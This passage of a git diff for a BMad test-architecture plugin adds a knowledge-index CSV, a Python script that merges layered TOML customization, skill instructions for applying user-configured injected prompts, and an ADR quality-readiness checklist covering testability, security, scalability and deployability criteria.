+test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
+test-priorities,Test Priorities Matrix,"P0–P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
+test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
+selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
+timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
+overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
+api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
+network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
+auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
+intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
+recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
+log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
+file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
+burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
+network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
+fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
+api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
+pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
+pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
+pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
+pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
+pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
+pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
+adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
+playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, trace analysis, debug=cli autonomous investigation","cli,browser,agent,automation,snapshot,trace,debug",core,knowledge/playwright-cli.md
+pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
+webhook-fundamentals,Webhook Testing Fundamentals,"Why webhook delivery is hard: async, parallel pollution, opaque timeouts, cleanup drift. playwright-utils approach with polling, typed matchers, rich errors, startedAt isolation","webhook,async,playwright-utils,event-driven,eventually-consistent",core,knowledge/webhook-testing-fundamentals.md
+webhook-setup,Webhook Module Setup,"Fixture wiring for WireMock/MockServer/Mockoon providers, matched-only vs full-reset cleanup strategy, fullyParallel race condition fix","webhook,fixtures,playwright-utils,wiremock,mockserver,mockoon,setup",core,knowledge/webhook-module-setup.md
+webhook-matchers,Webhook Template Matchers,"matchField (dot-path exact), matchPartial (deep subset), matchPredicate (arbitrary fn), AND semantics, template factories, clone, withTimeout, withInterval","webhook,matchers,playwright-utils,templates,patterns",core,knowledge/webhook-template-matchers.md
+webhook-waiting,Webhook Waiting and Querying,"waitFor, waitForCount, getReceived, drain pattern for sequential events, parallel worker safety via ID-scoped templates","webhook,async,playwright-utils,polling,patterns,eventually-consistent",core,knowledge/webhook-waiting-querying.md
+webhook-timeout-error,WebhookTimeoutError Debugging,"templateName, timeoutMs, totalReceived, receivedWebhooks, matcherDetails, toJSON — inspect what arrived vs what was expected","webhook,debugging,errors,playwright-utils",extended,knowledge/webhook-timeout-error.md
+webhook-providers,Webhook Provider Patterns,"WireMock (deleteById supported), MockServer (deleteById no-op), Mockoon (deleteById no-op, 100-entry limit), custom WebhookProvider interface","webhook,providers,playwright-utils,wiremock,mockserver,mockoon",extended,knowledge/webhook-providers.md
+webhook-risk,Webhook Testing Risk Guidance,"When webhook tests are required, P2×I3 default risk score, complete test checklist, failure patterns and mitigations, TA assessment checklist","webhook,risk,assessment,event-driven,async,playwright-utils,governance",core,knowledge/webhook-risk-guidance.md
diff --git a/plugins/bmad/skills/bmad-testarch-ci/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-testarch-ci/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-ci/steps-c/step-02-generate-pipeline.md b/plugins/bmad/skills/bmad-testarch-ci/steps-c/step-02-generate-pipeline.md
index f151916..81646d9 100644
--- a/plugins/bmad/skills/bmad-testarch-ci/steps-c/step-02-generate-pipeline.md
+++ b/plugins/bmad/skills/bmad-testarch-ci/steps-c/step-02-generate-pipeline.md
@@ -2,7 +2,7 @@
 name: 'step-02-generate-pipeline'
 description: 'Generate CI pipeline configuration with adaptive orchestration (agent-team, subagent, or sequential)'
 nextStepFile: './step-03-configure-quality-gates.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
+knowledgeIndex: './resources/tea-index.csv'
 outputFile: '{test_artifacts}/ci-pipeline-progress.md'
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-ci/steps-c/step-03-configure-quality-gates.md b/plugins/bmad/skills/bmad-testarch-ci/steps-c/step-03-configure-quality-gates.md
index 96a46b6..16b06b8 100644
--- a/plugins/bmad/skills/bmad-testarch-ci/steps-c/step-03-configure-quality-gates.md
+++ b/plugins/bmad/skills/bmad-testarch-ci/steps-c/step-03-configure-quality-gates.md
@@ -2,7 +2,7 @@
 name: 'step-03-configure-quality-gates'
 description: 'Configure burn-in, quality gates, and notifications'
 nextStepFile: './step-04-validate-and-summary.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
+knowledgeIndex: './resources/tea-index.csv'
 outputFile: '{test_artifacts}/ci-pipeline-progress.md'
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-framework/SKILL.md b/plugins/bmad/skills/bmad-testarch-framework/SKILL.md
index 6098f76..c9a55b9 100644
--- a/plugins/bmad/skills/bmad-testarch-framework/SKILL.md
+++ b/plugins/bmad/skills/bmad-testarch-framework/SKILL.md
@@ -3,4 +3,24 @@ name: bmad-testarch-framework
 description: 'Initialize test framework with Playwright or Cypress. Use when the user says "lets setup test framework" or "I want to initialize testing framework"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-framework --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-framework --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-testarch-framework/checklist.md b/plugins/bmad/skills/bmad-testarch-framework/checklist.md
index 6f0e386..9c2ba7b 100644
--- a/plugins/bmad/skills/bmad-testarch-framework/checklist.md
+++ b/plugins/bmad/skills/bmad-testarch-framework/checklist.md
@@ -53,7 +53,7 @@ Before starting the workflow:
 - [ ] Config file uses TypeScript (if `use_typescript: true`)
 - [ ] Timeouts configured correctly (action: 15s, navigation: 30s, test: 60s)
 - [ ] Base URL configured with environment variable fallback
-- [ ] Trace/screenshot/video set to retain-on-failure
+- [ ] Trace set to `retain-on-failure-and-retries`, screenshot to `only-on-failure`, video to `retain-on-failure`
 - [ ] Multiple reporters configured (HTML + JUnit + console)
 - [ ] Parallel execution enabled
 - [ ] CI-specific settings configured (retries, workers)
diff --git a/plugins/bmad/skills/bmad-testarch-framework/customize.toml b/plugins/bmad/skills/bmad-testarch-framework/customize.toml
new file mode 100644
index 0000000..3487585
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-testarch-framework
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-testarch-framework.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-testarch-framework.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-testarch-framework/instructions.md b/plugins/bmad/skills/bmad-testarch-framework/instructions.md
index 451a79c..aceddc1 100644
--- a/plugins/bmad/skills/bmad-testarch-framework/instructions.md
+++ b/plugins/bmad/skills/bmad-testarch-framework/instructions.md
@@ -2,7 +2,6 @@
 
 # Test Framework Setup
 
-**Workflow ID**: `_bmad/tea/testarch/bmad-testarch-framework`
 **Version**: 5.0 (Step-File Architecture)
 
 ---
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/adr-quality-readiness-checklist.md
new file mode 100644
index 0000000..d6b5783
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/adr-quality-readiness-checklist.md
@@ -0,0 +1,377 @@
+# ADR Quality Readiness Checklist
+
+**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
+
+**When to Use:**
+
+- System-level test design (Phase 3): Identify testability gaps in architecture
+- NFR assessment workflow: Structured evaluation with evidence
+- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
+
+**How to Use:**
+
+1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
+2. Document gap description if ⚠️
+3. Describe risk if criterion unmet
+4. Map to test scenarios (what tests validate this criterion)
+
+---
+
+## 1. Testability & Automation
+
+**Question:** Can we verify this effectively without manual toil?
+
+| #   | Criterion                                                                                                                                  | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                                                          |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed?                           | Flaky tests; inability to test in isolation    | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
+| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing?                       | Slow, brittle UI-based automation              | P0: All core logic callable via API, P1: No UI dependency for critical paths                            |
+| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests                       |
+| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon?                | Ambiguity on how to consume the service        | P1: Valid request succeeds, P1: Invalid request fails with clear error                                  |
+
+**Common Gaps:**
+
+- No mock endpoints for external services (Athena, Milvus, third-party APIs)
+- Business logic tightly coupled to UI (requires E2E tests for everything)
+- No seeding APIs (manual database setup required)
+- ADR has architecture diagrams but no sample API requests
+
+**Mitigation Examples:**
+
+- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
+- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
+- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
+- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
+
+---
+
+## 2. Test Data Strategy
+
+**Question:** How do we fuel our tests safely?
+
+| #   | Criterion                                                                                                                             | Risk if Unmet                                | Typical Test Scenarios (P0-P2)                                                                 |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
+| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution    | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
+| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)?                                | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests                                |
+| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests?                               | Environment rot; subsequent test failures    | P0: Automated cleanup after tests, P2: Environment reset script                                |
+
+**Common Gaps:**
+
+- No `customer_id` scoping in queries (cross-tenant data leakage risk)
+- Reliance on production data dumps (GDPR/PII violations)
+- No cleanup mechanism (tests leave data behind, polluting environment)
+
+**Mitigation Examples:**
+
+- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
+- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
+- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
+
+---
+
+## 3. Scalability & Availability
+
+**Question:** Can it grow, and will it stay up?
+
+| #   | Criterion                                                                                                                   | Risk if Unmet                                     | Typical Test Scenarios (P0-P2)                                                                       |
+| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances?                      | Inability to auto-scale horizontally              | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load                    |
+| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load?              | System crash during peak traffic                  | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled                          |
+| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn                | P1: Availability target defined, P2: Redundancy validated (multi-region/zone)                        |
+| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang?                                           | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
+
+**Common Gaps:**
+
+- Stateful session management (can't scale horizontally)
+- No load testing, bottlenecks unknown
+- SLA undefined or unrealistic (99.99% without redundancy)
+- No circuit breakers (cascading failures)
+
+**Mitigation Examples:**
+
+- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
+- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
+- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
+- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
+
+---
+
+## 4. Disaster Recovery (DR)
+
+**Question:** What happens when the worst-case scenario occurs?
+
+| #   | Criterion                                                                                                            | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                          |
+| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
+| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability          | P2: RTO defined and tested, P2: RPO validated (backup frequency)        |
+| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced?                                    | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
+| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity?                                             | Ransomware vulnerability; corrupted backups    | P2: Backup restore succeeds, P2: Backup immutability validated          |
+
+**Common Gaps:**
+
+- RTO/RPO undefined (no recovery plan)
+- Failover never tested (manual process, prone to errors)
+- Backups exist but restoration never validated (untested backups = no backups)
+
+**Mitigation Examples:**
+
+- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
+- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
+- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
+
+---
+
+## 5. Security
+
+**Question:** Is the design safe by default?
+
+| #   | Criterion                                                                                                        | Risk if Unmet                            | Typical Test Scenarios (P0-P2)                                                                                   |
+| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks          | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
+| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)?                                             | Compliance violations; data theft        | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works                         |
+| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)?                             | Credentials leaked in git history        | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager                                    |
+| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)?                                | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented                                    |
+
+**Common Gaps:**
+
+- Weak authentication (no OAuth, hardcoded API keys)
+- No encryption at rest (plaintext in database)
+- Secrets in git (API keys, passwords in config files)
+- No input validation (vulnerable to SQLi, XSS, command injection)
+
+**Mitigation Examples:**
+
+- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
+- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
+- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
+- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
+
+---
+
+## 6. Monitorability, Debuggability & Manageability
+
+**Question:** Can we operate and fix this in production?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                      | Typical Test Scenarios (P0-P2)                                                                    |
+| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices    | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
+| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy?                  | Inability to diagnose issues in real-time          | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format)                    |
+| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog?             | Flying blind regarding system health               | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully            |
+| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build?              | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior                           |
+
+**Common Gaps:**
+
+- No distributed tracing (can't debug across microservices)
+- Static log levels (requires redeploy to enable DEBUG)
+- No metrics endpoint (blind to system health)
+- Configuration hardcoded (requires full deploy for minor changes)
+
+**Mitigation Examples:**
+
+- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
+- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
+- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
+- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
+
+---
+
+## 7. QoS (Quality of Service) & QoE (Quality of Experience)
+
+**Question:** How does it perform, and how does it feel?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                                  |
+| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
+| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets?                                         | Slow API responses affecting throughput                | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test)                                |
+| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS?                   | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded                                |
+| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading?     | App feels sluggish to the user                         | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E)                    |
+| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration                           | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
+
+**Common Gaps:**
+
+- Latency targets undefined (no SLOs)
+- No rate limiting (vulnerable to DDoS, noisy neighbors)
+- Poor perceived performance (blank screen while loading)
+- Raw error messages (stack traces exposed to users)
+
+**Mitigation Examples:**
+
+- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
+- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
+- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
+- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
+
+---
+
+## 8. Deployability
+
+**Question:** How easily can we ship this?
+
+| #   | Criterion                                                                                  | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                 |
+| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
+| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments?               | Maintenance windows required (downtime)                | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout         |
+| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema       |
+| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy?    | Prolonged outages after a bad deploy                   | P2: Health check fails → automated rollback, P2: Rollback completes within RTO |
+
+**Common Gaps:**
+
+- No zero-downtime strategy (requires maintenance window)
+- Tight coupling between DB and code (lock-step deployments)
+- No automated rollback (manual intervention required)
+
+**Mitigation Examples:**
+
+- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
